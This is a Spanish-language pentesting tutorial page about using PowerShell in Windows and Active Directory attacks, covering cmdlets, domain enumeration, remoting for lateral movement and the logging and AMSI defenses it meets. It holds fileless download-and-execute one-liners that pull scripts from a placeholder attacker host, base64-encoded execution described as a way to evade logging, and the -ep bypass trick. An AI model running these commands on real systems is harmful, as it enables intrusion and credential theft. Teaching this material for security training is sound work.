Saltearse al contenido

PowerShell para hacking

PowerShell es, a la vez, la herramienta de administración de Windows y el arma favorita del atacante en ese entorno. Está instalado en todas partes, es de confianza para el sistema, accede a todo el .NET Framework y a WMI, y permite operar sin tocar disco (fileless). Para el área de Windows & AD, saber PowerShell es la diferencia entre copiar comandos y entender lo que haces.

A diferencia de cmd (que pasa texto), PowerShell pasa objetos entre comandos (cmdlets), lo que hace el procesamiento mucho más potente.

Get-ChildItem # ls / dir
Get-Content file.txt # cat
Get-Process # procesos (objetos, no texto)
Get-Service
Get-Help <cmdlet> # ayuda integrada
# los cmdlets siguen Verbo-Sustantivo: Get-, Set-, New-, Invoke-, Start-
Get-Process | Where-Object {$_.CPU -gt 100} | Sort-Object CPU -Descending | Select-Object -First 5
Get-Service | Where-Object {$_.Status -eq "Running"}

$_ es el objeto actual del pipeline; Where-Object filtra, Select-Object elige propiedades, Sort-Object ordena.

whoami ; $env:USERNAME ; $env:COMPUTERNAME
Get-LocalUser ; Get-LocalGroupMember Administrators
# módulo de AD / PowerView
Get-ADUser -Filter * ; Get-ADGroupMember "Domain Admins"
Get-NetUser ; Get-NetGroup ; Get-NetComputer # PowerView (ver ad-enum)

Lo que hace a PowerShell tan usado por atacantes: ejecutar sin escribir en disco.

IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/script.ps1')
# o con Invoke-WebRequest
IWR http://TU_IP/tool.ps1 | IEX
# ejecución base64 (evade logging simple)
powershell -enc <base64>

Así se cargan en memoria herramientas como PowerView, Invoke-Mimikatz, PowerUp.

Enter-PSSession -ComputerName host -Credential (Get-Credential)
Invoke-Command -ComputerName host -ScriptBlock { whoami }

PowerShell Remoting (WinRM, puerto 5985) es administración legítima y movimiento lateral a la vez (ver Movimiento lateral).

Lo que debe saber el Blue Team (y por qué te importa)

Sección titulada «Lo que debe saber el Blue Team (y por qué te importa)»

PowerShell es muy vigilado: Script Block Logging (4104) registra el script tras desofuscar, AMSI lo inspecciona antes de ejecutar, y Constrained Language Mode limita qué puedes hacer. Por eso el área de evasión (ver Evasión de defensas (AMSI / AV / EDR)) dedica tanto a saltarse estas defensas. La Execution Policy NO es seguridad: se salta con -ep bypass.

En un entorno Windows/AD, PowerShell es tu intérprete de enumeración, tu cargador de herramientas en memoria, y tu mecanismo de movimiento lateral. Casi todas las tools ofensivas de AD (PowerView, PowerUp, Rubeus vía reflection) se usan desde PowerShell. Entenderlo es operar con criterio en el mayor terreno del pentest interno.

  • Entiendo que PowerShell pasa objetos, no texto
  • Uso el pipeline con Where-Object/Select-Object/Sort-Object y $_
  • Enumero usuarios, grupos y procesos (Get-*)
  • Cargo scripts en memoria con IEX/DownloadString (fileless)
  • Uso PowerShell Remoting (Enter-PSSession/Invoke-Command)
  • Sé qué es AMSI, Script Block Logging y Constrained Language Mode
  • Entiendo que Execution Policy no es un control de seguridad